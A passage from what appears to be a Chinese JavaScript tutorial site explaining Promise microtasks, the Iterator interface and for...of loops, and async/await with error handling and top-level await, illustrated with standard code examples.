Promise 的优点在于，让回调函数变成了规范的链式写法，程序流程可以看得很清楚。它有一整套接口，可以实现许多强大的功能，比如同时执行多个异步操作，等到它们的状态都改变以后，再执行一个回调函数；再比如，为多个回调函数中抛出的错误，统一指定处理方法等等。

而且，Promise 还有一个传统写法没有的好处：它的状态一旦改变，无论何时查询，都能得到这个状态。这意味着，无论何时为 Promise 实例添加回调函数，该函数都能正确执行。所以，你不用担心是否错过了某个事件或信号。如果是传统写法，通过监听事件来执行回调函数，一旦错过了事件，再添加回调函数是不会执行的。

Promise 的缺点是，编写的难度比传统写法高，而且阅读代码也不是一眼可以看懂。你只会看到一堆`then`，必须自己在`then`的回调函数里面理清逻辑。

### 微任务

Promise 的回调函数属于异步任务，会在同步任务之后执行。

```js
new Promise(function (resolve, reject) {
  resolve(1);
}).then(console.log);

console.log(2);
// 2
// 1
```

上面代码会先输出2，再输出1。因为`console.log(2)`是同步任务，而`then`的回调函数属于异步任务，一定晚于同步任务执行。

但是，Promise 的回调函数不是正常的异步任务，而是微任务（microtask）。

它们的区别在于，正常任务追加到下一轮事件循环，**微任务追加到本轮事件循环**。这意味着，微任务的执行时间一定早于正常任务。

```js
setTimeout(function() {
  console.log(1);
}, 0);

new Promise(function (resolve, reject) {
  resolve(2);
}).then(console.log);

console.log(3);
// 3
// 2
// 1
```

上面代码的输出结果是`321`。这说明`then`的回调函数的执行时间，早于`setTimeout(fn, 0)`。因为`then`是本轮事件循环执行，`setTimeout(fn, 0)`在下一轮事件循环开始时执行。

**微任务（Microtask）是异步任务的一种**。在 JavaScript 中，异步任务分为两类

1. **宏任务（Macrotask）**：
   * 包括 `setTimeout`、`setInterval`、`setImmediate` 等。
   * 通常来自用户交互（如点击事件）或定时器。
   * 每个宏任务会放入宏任务队列（Task Queue）。
2. **微任务（Microtask）**：
   * 包括 `Promise`、`MutationObserver`、`process.nextTick`（Node.js）等。
   * 通常来自异步操作（如 `Promise` 的 `then` 回调）或 DOM 变化监听。
   * 每个微任务会放入微任务队列（Microtask Queue）。

**执行顺序**：

JavaScript 的执行顺序遵循以下规则：

1. **执行栈（Call Stack）**：优先执行同步任务。
2. **微任务队列（Microtask Queue）**：当执行栈清空后，立即执行所有微任务。
3. **宏任务队列（Task Queue）**：在微任务执行完毕后，再执行宏任务。

**微任务是异步任务的一种，优先级高于宏任务。**

---

---
url: /js/gp2ooax9/index.md
---
# 迭代器
## 概念

JavaScript 原有的表示“集合”的数据结构，主要是数组（`Array`）和对象（`Object`），ES6 又添加了`Map`和`Set`。这样就有了四种数据集合，

**用户还可以组合使用它们，定义自己的数据结构**，比如数组的成员是`Map`，`Map`的成员是对象。这样就需要一种统一的接口机制，来处理所有不同的数据结构。

遍历器（Iterator）就是这样一种机制。它是一种接口，为各种不同的数据结构提供统一的访问机制。任何数据结构只要部署 Iterator 接口，就可以完成遍历操作（即依次处理该数据结构的所有成员）。

* Iterator 的作用有三个：一是为各种数据结构，提供一个统一的、简便的访问接口；
* 二是使得数据结构的成员能够按某种次序排列；
* 三是 ES6 创造了一种新的遍历命令`for...of`循环，Iterator 接口主要供`for...of`消费。

Iterator 的遍历过程是这样的。

（1）创建一个指针对象，指向当前数据结构的起始位置。也就是说，遍历器对象本质上，就是一个指针对象。

（2）第一次调用指针对象的`next`方法，可以将指针指向数据结构的第一个成员。

（3）第二次调用指针对象的`next`方法，指针就指向数据结构的第二个成员。

（4）不断调用指针对象的`next`方法，直到它指向数据结构的结束位置。

每一次调用`next`方法，都会返回数据结构的当前成员的信息。具体来说，就是返回一个包含`value`和`done`两个属性的对象。其中，`value`属性是当前成员的值，`done`属性是一个布尔值，表示遍历是否结束。

**模拟`next`方法**：

```js
var it = makeIterator(['a', 'b']);

it.next() // { value: "a", done: false }
it.next() // { value: "b", done: false }
it.next() // { value: undefined, done: true }

function makeIterator(array) {
  var nextIndex = 0;
  return {
    next: function() {
      return nextIndex < array.length ?
        {value: array[nextIndex++], done: false} :
        {value: undefined, done: true};
    }
  };
}
```

\*\*注意：\*\*nextIndex++ 在获取元素之后才增加 nextIndex 的值，确保了遍历的正确性。

## 默认 Iterator 接口

Iterator 接口的目的，就是为所有数据结构，提供了一种统一的访问机制，即`for...of`循环，当使用`for...of`循环遍历某种数据结构时，该循环会自动去寻找 Iterator 接口。

一种数据结构只要部署了 Iterator 接口，我们就称这种数据结构是“可遍历的”（iterable）。

ES6 规定，默认的 Iterator 接口部署在数据结构的`Symbol.iterator`属性，或者说，一个数据结构只要具有`Symbol.iterator`属性，就可以认为是“可遍历的”（iterable）。

`Symbol.iterator`属性本身是一个函数，就是当前数据结构默认的遍历器生成函数。执行这个函数，就会返回一个遍历器。

属性名`Symbol.iterator`，它是一个表达式，返回`Symbol`对象的`iterator`属性，这是一个预定义好的、类型为 Symbol 的特殊值，所以要放在方括号内

```js
const obj = {
  [Symbol.iterator] : function () {
    return {
      next: function () {
        return {
          value: 1,
          done: true
        };
      }
    };
  }
};
```

上面代码中，对象`obj`是可遍历的（iterable），因为具有`Symbol.iterator`属性。

执行这个属性，会返回一个遍历器对象。该对象的根本特征就是具有`next`方法。每次调用`next`方法，都会返回一个代表当前成员的信息对象，具有`value`和`done`两个属性。

ES6 的有些数据结构原生具备 Iterator 接口（比如数组），即不用任何处理，就可以被`for...of`循环遍历。原因在于，这些数据结构原生部署了`Symbol.iterator`属性，另外一些数据结构没有（比如对象）。凡是部署了`Symbol.iterator`属性的数据结构，就称为部署了遍历器接口。调用这个接口，就会返回一个遍历器对象。

原生具备 Iterator 接口的数据结构如下。

* Array
* Map
* Set
* String
* TypedArray
* 函数的 arguments 对象
* NodeList 对象

```js
let arr = ['a', 'b', 'c'];
let iter = arr[Symbol.iterator]();

iter.next() // { value: 'a', done: false }
iter.next() // { value: 'b', done: false }
iter.next() // { value: 'c', done: false }
iter.next() // { value: undefined, done: true }
```

对于原生部署 Iterator 接口的数据结构，不用自己写遍历器生成函数，`for...of`循环会自动遍历它们。除此之外，其他数据结构（主要是对象）的 Iterator 接口，都需要自己在`Symbol.iterator`属性上面部署，这样才会被`for...of`循环遍历。

一个对象如果要具备可被`for...of`循环调用的 Iterator 接口，就必须在`Symbol.iterator`的属性上部署遍历器生成方法（原型链上的对象具有该方法也可）。

```js
class RangeIterator {
  constructor(start, stop) {
    this.value = start;
    this.stop = stop;
  }

  [Symbol.iterator]() { return this; }

  next() {
    var value = this.value;
    if (value < this.stop) {
      this.value++;
      return {done: false, value: value};
    }
    return {done: true, value: undefined};
  }
}

function range(start, stop) {
  return new RangeIterator(start, stop);
}

for (var value of range(0, 3)) {
  console.log(value); // 0, 1, 2
}
```

上面代码是一个类部署 Iterator 接口的写法。`Symbol.iterator`属性对应一个函数，执行后返回当前对象的遍历器对象。

* \[Symbol.iterator] 方法必须返回一个**迭代器对象 (Iterator Object)**。
* 迭代器对象需要具有一个 next() 方法。
* next() 方法返回一个包含 value 和 done 属性的对象。

**为对象添加 Iterator 接口**：

```js
let obj = {
  data: [ 'hello', 'world' ],
  [Symbol.iterator]() {
    const self = this;
    let index = 0;
    return {
      next() {
        if (index < self.data.length) {
          return {
            value: self.data[index++],
            done: false
          };
        }
        return { value: undefined, done: true };
      }
    };
  }
};
```

对于类似数组的对象（存在数值键名和`length`属性），部署 Iterator 接口，有一个简便方法，就是`Symbol.iterator`方法直接引用数组的 Iterator 接口。

```js
NodeList.prototype[Symbol.iterator] = Array.prototype[Symbol.iterator];
// 或者
NodeList.prototype[Symbol.iterator] = [][Symbol.iterator];

[...document.querySelectorAll('div')] // 可以执行了
```

NodeList 对象是类似数组的对象，本来就具有遍历接口，可以直接遍历。上面代码中，我们将它的遍历接口改成数组的`Symbol.iterator`属性，可以看到没有任何影响。

```js
let iterable = {
  0: 'a',
  1: 'b',
  2: 'c',
  length: 3,
  [Symbol.iterator]: Array.prototype[Symbol.iterator]
};
for (let item of iterable) {
  console.log(item); // 'a', 'b', 'c'
}
```

注意，普通对象部署数组的`Symbol.iterator`方法，并无效果。

```js
let iterable = {
  a: 'a',
  b: 'b',
  c: 'c',
  length: 3,
  [Symbol.iterator]: Array.prototype[Symbol.iterator]
};
for (let item of iterable) {
  console.log(item); // undefined, undefined, undefined
}
```

如果`Symbol.iterator`方法对应的不是遍历器生成函数（即会返回一个遍历器对象），解释引擎将会报错。

## 调用 Iterator 接口的场合

有一些场合会默认调用 Iterator 接口（即`Symbol.iterator`方法。

**（1）解构赋值**

对数组和 Set 结构进行解构赋值时，会默认调用`Symbol.iterator`方法。

**（2）扩展运算符**

扩展运算符（...）也会调用默认的 Iterator 接口。

**（3）yield\***

`yield*`后面跟的是一个可遍历的结构，它会调用该结构的遍历器接口。

## 字符串的 Iterator 接口

字符串是一个类似数组的对象，也原生具有 Iterator 接口。

```js
var someString = "hi";
typeof someString[Symbol.iterator]
// "function"

var iterator = someString[Symbol.iterator]();

iterator.next()  // { value: "h", done: false }
iterator.next()  // { value: "i", done: false }
iterator.next()  // { value: undefined, done: true }
```

可以覆盖原生的`Symbol.iterator`方法，达到修改遍历器行为的目的。

## Iterator 接口与 Generator 函数

`Symbol.iterator()`方法的最简单实现，还是使用 Generator 函数。

```js
let myIterable = {
  [Symbol.iterator]: function* () {
    yield 1;
    yield 2;
    yield 3;
  }
};
[...myIterable] // [1, 2, 3]

// 或者采用下面的简洁写法

let obj = {
  * [Symbol.iterator]() {
    yield 'hello';
    yield 'world';
  }
};

for (let x of obj) {
  console.log(x);
}
// "hello"
// "world"
```

上面代码中，`Symbol.iterator()`方法几乎不用部署任何代码，只要用 yield 命令给出每一步的返回值即可。

## 遍历器对象的 return()，throw()

遍历器对象除了具有`next()`方法，还可以具有`return()`方法和`throw()`方法。如果你自己写遍历器对象生成函数，那么`next()`方法是必须部署的，`return()`方法和`throw()`方法是否部署是可选的。

`return()`方法的使用场合是，如果`for...of`循环提前退出（通常是因为出错，或者有`break`语句），就会调用`return()`方法。如果一个对象在完成遍历前，需要清理或释放资源，就可以部署`return()`方法。

注意，`return()`方法必须返回一个对象，这是 Generator 语法决定的。

`throw()`方法主要是配合 Generator 函数使用，一般的遍历器对象用不到这个方法。

## for...of 循环

ES6引入了`for...of`循环，作为遍历所有数据结构的统一的方法。

一个数据结构只要部署了`Symbol.iterator`属性，就被视为具有 iterator 接口，就可以用`for...of`循环遍历它的成员。也就是说，`for...of`循环内部调用的是数据结构的`Symbol.iterator`方法。

`for...of`循环可以使用的范围包括数组、Set 和 Map 结构、某些类似数组的对象（比如`arguments`对象、DOM NodeList 对象）、Generator 对象，以及字符串。

```js
const arr = ['red', 'green', 'blue'];

for(let v of arr) {
  console.log(v); // red green blue
}

const obj = {};
obj[Symbol.iterator] = arr[Symbol.iterator].bind(arr);

for(let v of obj) {
  console.log(v); // red green blue
}
```

上面代码中，空对象`obj`部署了数组`arr`的`Symbol.iterator`属性，结果`obj`的`for...of`循环，产生了与`arr`完全一样的结果。

JavaScript 原有的`for...in`循环，只能获得对象的键名，不能直接获取键值。ES6 提供`for...of`循环，允许遍历获得键值。

```js
var arr = ['a', 'b', 'c', 'd'];

for (let a in arr) {
  console.log(a); // 0 1 2 3
}

for (let a of arr) {
  console.log(a); // a b c d
}
```

## 计算生成的数据结构

有些数据结构是在现有数据结构的基础上，计算生成的。比如，ES6 的数组、Set、Map 都部署了以下三个方法，调用后都返回遍历器对象。

* `entries()` 返回一个遍历器对象，用来遍历`[键名, 键值]`组成的数组。对于数组，键名就是索引值；对于 Set，键名与键值相同。Map 结构的 Iterator 接口，默认就是调用`entries`方法。
* `keys()` 返回一个遍历器对象，用来遍历所有的键名。
* `values()` 返回一个遍历器对象，用来遍历所有的键值。

这三个方法调用后生成的遍历器对象，所遍历的都是计算生成的数据结构。

```js
let arr = ['a', 'b', 'c'];
for (let pair of arr.entries()) {
  console.log(pair);
}
// [0, 'a']
// [1, 'b']
// [2, 'c']
```

---

---
url: /js/gqpx9cls/index.md
---
# async与await
## 概述

async 函数，使得异步操作变得更加方便，一句话，它就是 Generator 函数的语法糖。

前文有一个 Generator 函数，依次读取两个文件。

```js
const fs = require('fs');

const readFile = function (fileName) {
  return new Promise(function (resolve, reject) {
    fs.readFile(fileName, function(error, data) {
      if (error) return reject(error);
      resolve(data);
    });
  });
};

const gen = function* () {
  const f1 = yield readFile('/etc/fstab');
  const f2 = yield readFile('/etc/shells');
  console.log(f1.toString());
  console.log(f2.toString());
};
```

上面代码的函数`gen`可以写成`async`函数，就是下面这样。

```js
const asyncReadFile = async function () {
  const f1 = await readFile('/etc/fstab');
  const f2 = await readFile('/etc/shells');
  console.log(f1.toString());
  console.log(f2.toString());
};
```

一比较就会发现，`async`函数就是将 Generator 函数的星号（`*`）替换成`async`，将`yield`替换成`await`，仅此而已。

`async`函数对 Generator 函数的改进：

**（1）内置执行器。**

Generator 函数的执行必须靠执行器，所以才有了`co`模块，而`async`函数自带执行器。也就是说，`async`函数的执行，与普通函数一模一样，只要一行。

```javascript
asyncReadFile();
```

上面的代码调用了`asyncReadFile`函数，然后它就会自动执行，输出最后结果。这完全不像 Generator 函数，需要调用`next`方法，或者用`co`模块，才能真正执行，得到最后结果。

**（2）更好的语义。**

`async`和`await`，比起星号和`yield`，语义更清楚了。`async`表示函数里有异步操作，`await`**表示紧跟在后面的表达式需要等待结果。**

**（3）更广的适用性。**

`co`模块约定，`yield`命令后面只能是 **Thunk 函数**或 **Promise 对象**，而`async`函数的`await`命令后面，可以是 **Promise 对象和原始类型的值**（数值、字符串和布尔值，但这时会自动转成立即 resolved 的 Promise 对象）。

**（4）返回值是 Promise。**

`async`函数的返回值是 Promise 对象，这比 Generator 函数的返回值是 Iterator 对象方便多了。你可以用`then`方法指定下一步的操作。

**总结：**`async`函数完全可以看作多个异步操作，包装成的一个 Promise 对象，而`await`命令就是内部`then`命令的语法糖。

## 基本用法

`async`函数返回一个 Promise 对象，可以使用`then`方法添加回调函数。当函数执行的时候，一旦遇到`await`就会先返回，等到异步操作完成，再接着执行函数体内后面的语句。

```javascript
async function getStockPriceByName(name) {
  const symbol = await getStockSymbol(name);
  const stockPrice = await getStockPrice(symbol);
  return stockPrice;
}

getStockPriceByName('goog').then(function (result) {
  console.log(result);
});
```

函数前面的`async`关键字，表明该函数内部有异步操作。调用该函数时，会立即返回一个`Promise`对象。

```javascript
function timeout(ms) {
  return new Promise((resolve) => {
    setTimeout(resolve, ms);
  });
}

async function asyncPrint(value, ms) {
  await timeout(ms);
  console.log(value);
}

asyncPrint('hello world', 50);
```

上面代码指定 50 毫秒以后，输出`hello world`。

由于`async`函数返回的是 Promise 对象，可以作为`await`命令的参数。所以，上面的例子也可以写成下面的形式。

```javascript
async function timeout(ms) {
  await new Promise((resolve) => {
    setTimeout(resolve, ms);
  });
}

async function asyncPrint(value, ms) {
  await timeout(ms);
  console.log(value);
}

asyncPrint('hello world', 50);
```

`async`函数的多种使用形式：

```javascript
// 函数声明
async function foo() {}

// 函数表达式
const foo = async function () {};

// 对象的方法
let obj = { async foo() {} };
obj.foo().then(...)

// Class 的方法
class Storage {
  constructor() {
    this.cachePromise = caches.open('avatars');
  }

  async getAvatar(name) {
    const cache = await this.cachePromise;
    return cache.match(`/avatars/${name}.jpg`);
  }
}

const storage = new Storage();
storage.getAvatar('jake').then(…);

// 箭头函数
const foo = async () => {};
```

## 语法

### 返回 Promise 对象

`async`函数返回一个 Promise 对象。

`async`函数内部`return`语句返回的值，会成为`then`方法回调函数的参数。

```javascript
async function f() {
  return 'hello world';
}

f().then(v => console.log(v))
// "hello world"
```

上面代码中，函数`f`内部`return`命令返回的值，会被`then`方法回调函数接收到。

`async`函数内部抛出错误，会导致返回的 Promise 对象变为`reject`状态。抛出的错误对象会被`catch`方法回调函数接收到。

```javascript
async function f() {
  throw new Error('出错了');
}

f().then(
  v => console.log('resolve', v),
  e => console.log('reject', e)
)
//reject Error: 出错了
```

### Promise 对象的状态变化

`async`函数返回的 Promise 对象，必须等到内部所有`await`命令后面的 Promise 对象执行完，才会发生状态改变，除非遇到`return`语句或者抛出错误。

也就是说，只有`async`函数内部的异步操作执行完，才会执行`then`方法指定的回调函数。

```javascript
async function getTitle(url) {
  let response = await fetch(url);
  let html = await response.text();
  return html.match(/<title>([\s\S]+)<\/title>/i)[1];
}
getTitle('https://...').then(console.log)
```

上面代码中，函数`getTitle`内部有三个操作：抓取网页、取出文本、匹配页面标题。只有这三个操作全部完成，才会执行`then`方法里面的`console.log`。

### await 命令

正常情况下，`await`命令后面是一个 Promise 对象，返回该对象的结果。如果不是 Promise 对象，就直接返回对应的值。

```javascript
async function f() {
  // 等同于
  // return 123;
  return await 123;	
}

f().then(v => console.log(v))
// 123
```

另一种情况是，`await`命令后面是一个`thenable`对象（即定义了`then`方法的对象），那么`await`会将其等同于 Promise 对象。

```javascript
class Sleep {
  constructor(timeout) {
    this.timeout = timeout;
  }
  then(resolve, reject) {
    const startTime = Date.now();
    setTimeout(
      () => resolve(Date.now() - startTime),
      this.timeout
    );
  }
}

(async () => {
  const sleepTime = await new Sleep(1000);
  console.log(sleepTime);
})();
// 1000
```

上面代码中，`await`命令后面是一个`Sleep`对象的实例。这个实例不是 Promise 对象，但是因为定义了`then`方法，`await`会将其视为`Promise`处理。

上述例子还演示了如何实现休眠效果，借助`await`命令就可以让程序停顿指定的时间。

```javascript
function sleep(interval) {
  return new Promise(resolve => {
    setTimeout(resolve, interval);
  })
}

// 用法
async function one2FiveInAsync() {
  for(let i = 1; i <= 5; i++) {
    console.log(i);
    await sleep(1000);
  }
}

one2FiveInAsync();
```

`await`命令后面的 Promise 对象如果变为`reject`状态，则`reject`的参数会被`catch`方法的回调函数接收到。

```javascript
async function f() {
  await Promise.reject('出错了');
}

f()
.then(v => console.log(v))
.catch(e => console.log(e))
// 出错了
```

注意，上面代码中，`await`语句前面没有`return`，但是`reject`方法的参数依然传入了`catch`方法的回调函数。这里如果在`await`前面加上`return`，效果是一样的。

```javascript
async function f() {
    let result = await Promise.reject('出错了');
    return result;
}

f()
    .then(v => console.log(v))
    .catch(e => console.log(e))
```

任何一个`await`语句后面的 Promise 对象变为`reject`状态，那么整个`async`函数都会中断执行。

有时，我们希望即使前一个异步操作失败，也不要中断后面的异步操作。这时可以将第一个`await`放在`try...catch`结构里面，这样不管这个异步操作是否成功，第二个`await`都会执行。

```javascript
async function f() {
  try {
    await Promise.reject('出错了');
  } catch(e) {
      console.log(e)
  }
  return await Promise.resolve('hello world');
}

f()
.then(v => console.log(v))
// 出错了
// hello world
```

另一种方法是`await`后面的 Promise 对象再跟一个`catch`方法，处理前面可能出现的错误。

```javascript
async function f() {
  await Promise.reject('出错了')
    .catch(e => console.log(e));
  return await Promise.resolve('hello world');
}

f()
.then(v => console.log(v))
// 出错了
// hello world
```

### 错误处理

如果`await`后面的异步操作出错，那么等同于`async`函数返回的 Promise 对象被`reject`。

```javascript
async function f() {
  await new Promise(function (resolve, reject) {
    throw new Error('出错了');
  });
}

f()
.then(v => console.log(v))
.catch(e => console.log(e))
// Error：出错了
```

上面代码中，`async`函数`f`执行后，`await`后面的 Promise 对象会抛出一个错误对象，导致`catch`方法的回调函数被调用，它的参数就是抛出的错误对象

防止出错的方法，也是将其放在`try...catch`代码块之中。

```javascript
async function f() {
  try {
    await new Promise(function (resolve, reject) {
      throw new Error('出错了');
    });
  } catch(e) {
      // ...
  }
  return await('hello world');
}
```

如果有多个`await`命令，可以统一放在`try...catch`结构中。

```javascript
async function main() {
  try {
    const val1 = await firstStep();
    const val2 = await secondStep(val1);
    const val3 = await thirdStep(val1, val2);

    console.log('Final: ', val3);
  }
  catch (err) {
    console.error(err);
  }
}
```

下面的例子使用`try...catch`结构，实现多次重复尝试。

```javascript
const superagent = require('superagent');
const NUM_RETRIES = 3;

async function test() {
  let i;
  for (i = 0; i < NUM_RETRIES; ++i) {
    try {
      await superagent.get('http://google.com/this-throws-an-error');
      break;
    } catch(err) {}
  }
  console.log(i); // 3
}

test();
```

上面代码中，如果`await`操作成功，就会使用`break`语句退出循环；如果失败，会被`catch`语句捕捉，然后进入下一轮循环。

### 使用注意点

**第一点**：

`await`命令后面的`Promise`对象，运行结果可能是`rejected`，所以最好把`await`命令放在`try...catch`代码块中。

```javascript
async function myFunction() {
  try {
    await somethingThatReturnsAPromise();
  } catch (err) {
    console.log(err);
  }
}

// 另一种写法

async function myFunction() {
  await somethingThatReturnsAPromise()
  .catch(function (err) {
    console.log(err);
  });
}
```

**第二点：**

多个`await`命令后面的异步操作，如果不存在继发关系，最好让它们同时触发。

```javascript
let foo = await getFoo();
let bar = await getBar();
```

上面代码中，`getFoo`和`getBar`是两个独立的异步操作（即互不依赖），被写成继发关系。这样比较耗时，因为只有`getFoo`完成以后，才会执行`getBar`，完全可以让它们同时触发。

```javascript
// 写法一
let [foo, bar] = await Promise.all([getFoo(), getBar()]);

// 写法二
let fooPromise = getFoo();
let barPromise = getBar();
let foo = await fooPromise;
let bar = await barPromise;
```

上面两种写法，`getFoo`和`getBar`都是同时触发，这样就会缩短程序的执行时间。

**第三点：**

`await`命令只能用在`async`函数之中，如果用在普通函数，就会报错。

**第四点：**

async 函数可以保留运行堆栈。

```javascript
const a = () => {
  b().then(() => c());
};
```

上面代码中，函数`a`内部运行了一个异步任务`b()`。当`b()`运行的时候，函数`a()`不会中断，而是继续执行。等到`b()`运行结束，可能`a()`早就运行结束了，`b()`所在的上下文环境已经消失了。如果`b()`或`c()`报错，错误堆栈将不包括`a()`。

现在将这个例子改成`async`函数。

```javascript
const a = async () => {
  await b();
  c();
};
```

上面代码中，`b()`运行的时候，`a()`是暂停执行，上下文环境都保存着。一旦`b()`或`c()`报错，错误堆栈将包括`a()`。

## async 函数的实现原理

async 函数的实现原理，就是将 Generator 函数和自动执行器，包装在一个函数里。

```javascript
async function fn(args) {
  // ...
}

// 等同于

function fn(args) {
  return spawn(function* () {
    // ...
  });
}
```

所有的`async`函数都可以写成上面的第二种形式，其中的`spawn`函数就是自动执行器。

下面给出`spawn`函数的实现，基本就是前文自动执行器的翻版。

```javascript
function spawn(genF) {
  return new Promise(function(resolve, reject) {
    const gen = genF();
    function step(nextF) {
      let next;
      try {
        next = nextF();
      } catch(e) {
        return reject(e);
      }
      if(next.done) {
        return resolve(next.value);
      }
      Promise.resolve(next.value).then(function(v) {
        step(function() { return gen.next(v); });
      }, function(e) {
        step(function() { return gen.throw(e); });
      });
    }
    step(function() { return gen.next(undefined); });
  });
}
```

## 与其他异步处理方法的比较

我们通过一个例子，来看 async 函数与 Promise、Generator 函数的比较。

假定某个 DOM 元素上面，部署了一系列的动画，前一个动画结束，才能开始后一个。如果当中有一个动画出错，就不再往下执行，返回上一个成功执行的动画的返回值。

Promise 的写法

```javascript
function chainAnimationsPromise(elem, animations) {

  // 变量ret用来保存上一个动画的返回值
  let ret = null;

  // 新建一个空的Promise
  let p = Promise.resolve();

  // 使用then方法，添加所有动画
  for(let anim of animations) {
    p = p.then(function(val) {
      ret = val;
      return anim(elem);
    });
  }

  // 返回一个部署了错误捕捉机制的Promise
  return p.catch(function(e) {
    /* 忽略错误，继续执行 */
  }).then(function() {
    return ret;
  });

}
```

虽然 Promise 的写法比回调函数的写法大大改进，但是一眼看上去，代码完全都是 Promise 的 API（`then`、`catch`等等），操作本身的语义反而不容易看出来。

Generator 函数的写法

```javascript
function chainAnimationsGenerator(elem, animations) {

  return spawn(function*() {
    let ret = null;
    try {
      for(let anim of animations) {
        ret = yield anim(elem);
      }
    } catch(e) {
      /* 忽略错误，继续执行 */
    }
    return ret;
  });

}
```

上面代码使用 Generator 函数遍历了每个动画，语义比 Promise 写法更清晰，用户定义的操作全部都出现在`spawn`函数的内部。这个写法的问题在于，必须有一个任务运行器，自动执行 Generator 函数，上面代码的`spawn`函数就是自动执行器，它返回一个 Promise 对象，而且必须保证`yield`语句后面的表达式，必须返回一个 Promise。

async 函数的写法

```javascript
async function chainAnimationsAsync(elem, animations) {
  let ret = null;
  try {
    for(let anim of animations) {
      ret = await anim(elem);
    }
  } catch(e) {
    /* 忽略错误，继续执行 */
  }
  return ret;
}
```

可以看到 Async 函数的实现最简洁，最符合语义，几乎没有语义不相关的代码。它将 Generator 写法中的自动执行器，改在语言层面提供，不暴露给用户，因此代码量最少。如果使用 Generator 写法，自动执行器需要用户自己提供。

## 按顺序完成异步操作

实际开发中，经常遇到一组异步操作，需要按照顺序完成。比如，依次远程读取一组 URL，然后按照读取的顺序输出结果。

Promise写法：

```javascript
function logInOrder(urls) {
  // 远程读取所有URL
  const textPromises = urls.map(url => {
    return fetch(url).then(response => response.text());
  });

  // 按次序输出
  textPromises.reduce((chain, textPromise) => {
    return chain.then(() => textPromise)
      .then(text => console.log(text));
  }, Promise.resolve());
}
```

上面代码使用`fetch`方法，同时远程读取一组 URL。每个`fetch`操作都返回一个 Promise 对象，放入`textPromises`数组。然后，`reduce`方法依次处理每个 Promise 对象，然后使用`then`，将所有 Promise 对象连起来，因此就可以依次输出结果。

async 函数实现：

```javascript
async function logInOrder(urls) {
  for (const url of urls) {
    const response = await fetch(url);
    console.log(await response.text());
  }
}
```

上面代码确实大大简化，问题是所有远程操作都是继发。只有前一个 URL 返回结果，才会去读取下一个 URL，这样做效率很差，非常浪费时间。我们需要的是并发发出远程请求。

```javascript
async function logInOrder(urls) {
  // 并发读取远程URL
  const textPromises = urls.map(async url => {
    const response = await fetch(url);
    return response.text();
  });

  // 按次序输出
  for (const textPromise of textPromises) {
    console.log(await textPromise);
  }
}
```

上面代码中，虽然`map`方法的参数是`async`函数，但它是并发执行的，因为只有`async`函数内部是继发执行，外部不受影响。后面的`for..of`循环内部使用了`await`，因此实现了按顺序输出。

## 顶层 await

早期的语法规定是，`await`命令只能出现在 async 函数内部，否则都会报错。

```javascript
// 报错
const data = await fetch('https://api.example.com');
```

上面代码中，`await`命令独立使用，没有放在 async 函数里面，就会报错。

从 [ES2022](https://github.com/tc39/proposal-top-level-await) 开始，允许在模块的顶层独立使用`await`命令，使得上面那行代码不会报错了。它的主要目的是使用`await`解决模块异步加载的问题。

```javascript
// awaiting.js
let output;
async function main() {
  const dynamic = await import(someMission);
  const data = await fetch(url);
  output = someProcess(dynamic.default, data);
}
main();
export { output };
```

上面代码中，模块`awaiting.js`的输出值`output`，取决于异步操作。我们把异步操作包装在一个 async 函数里面，然后调用这个函数，只有等里面的异步操作都执行，变量`output`才会有值，否则就返回`undefined`。

下面是加载这个模块的写法。

```javascript
// usage.js
import { output } from "./awaiting.js";

function outputPlusValue(value) { return output + value }

console.log(outputPlusValue(100));
setTimeout(() => console.log(outputPlusValue(100)), 1000);
```

上面代码中，`outputPlusValue()`的执行结果，完全取决于执行的时间。如果`awaiting.js`里面的异步操作没执行完，加载进来的`output`的值就是`undefined`。

目前的解决方法，就是让原始模块输出一个 Promise 对象，从这个 Promise 对象判断异步操作有没有结束。

```javascript
// awaiting.js
let output;
export default (async function main() {
  const dynamic = await import(someMission);
  const data = await fetch(url);
  output = someProcess(dynamic.default, data);
})();
export { output };
```

上面代码中，`awaiting.js`除了输出`output`，还默认输出一个 Promise 对象（async 函数立即执行后，返回一个 Promise 对象），从这个对象判断异步操作是否结束。

下面是加载这个模块的新的写法。

```javascript
// usage.js
import promise, { output } from "./awaiting.js";

function outputPlusValue(value) { return output + value }

promise.then(() => {
  console.log(outputPlusValue(100));
  setTimeout(() => console.log(outputPlusValue(100)), 1000);
});
```

上面代码中，将`awaiting.js`对象的输出，放在`promise.then()`里面，这样就能保证异步操作完成以后，才去读取`output`。

这种写法比较麻烦，等于要求模块的使用者遵守一个额外的使用协议，按照特殊的方法使用这个模块。一旦你忘了要用 Promise 加载，只使用正常的加载方法，依赖这个模块的代码就可能出错。而且，如果上面的`usage.js`又有对外的输出，等于这个依赖链的所有模块都要使用 Promise 加载。

顶层的`await`命令，就是为了解决这个问题。它保证只有异步操作完成，模块才会输出值。

```javascript
// awaiting.js
const dynamic = import(someMission);
const data = fetch(url);
export const output = someProcess((await dynamic).default, await data);
```

上面代码中，两个异步操作在输出的时候，都加上了`await`命令。只有等到异步操作完成，这个模块才会输出值。

加载这个模块的写法如下。

```javascript
// usage.js
import { output } from "./awaiting.js";
function outputPlusValue(value) { return output + value }

console.log(outputPlusValue(100));
setTimeout(() => console.log(outputPlusValue(100)), 1000);
```

上面代码的写法，与普通的模块加载完全一样。也就是说，模块的使用者完全不用关心，依赖模块的内部有没有异步操作，正常加载即可。

这时，模块的加载会等待依赖模块（上例是`awaiting.js`）的异步操作完成，才执行后面的代码，有点像暂停在那里。所以，它总是会得到正确的`output`，不会因为加载时机的不同，而得到不一样的值。

注意，顶层`await`只能用在 ES6 模块，不能用在 CommonJS 模块。这是因为 CommonJS 模块的`require()`是同步加载，如果有顶层`await`，就没法处理加载了。

下面是顶层`await`的一些使用场景。

```javascript
// import() 方法加载
const strings = await import(`/i18n/${navigator.language}`);

// 数据库操作
const connection = await dbConnector();

// 依赖回滚
let jQuery;
try {
  jQuery = await import('https://cdn-a.com/jQuery');
} catch {
  jQuery = await import('https://cdn-b.com/jQuery');
}
```

注意，如果加载多个包含顶层`await`命令的模块，加载命令是同步执行的。

```javascript
// x.js
console.log("X1");
await new Promise(r => setTimeout(r, 1000));
console.log("X2");

// y.js
console.log("Y");

// z.js
import "./x.js";
import "./y.js";
console.log("Z");
```

上面代码有三个模块，最后的`z.js`加载`x.js`和`y.js`，打印结果是`X1`、`Y`、`X2`、`Z`。这说明，`z.js`并没有等待`x.js`加载完成，再去加载`y.js`。

顶层的`await`命令有点像，交出代码的执行权给其他的模块加载，等异步操作完成后，再拿回执行权，继续向下执行。

---

---
url: /js/jr1pgozm/index.md
---
# 异步遍历器 Iterator
## 同步遍历器

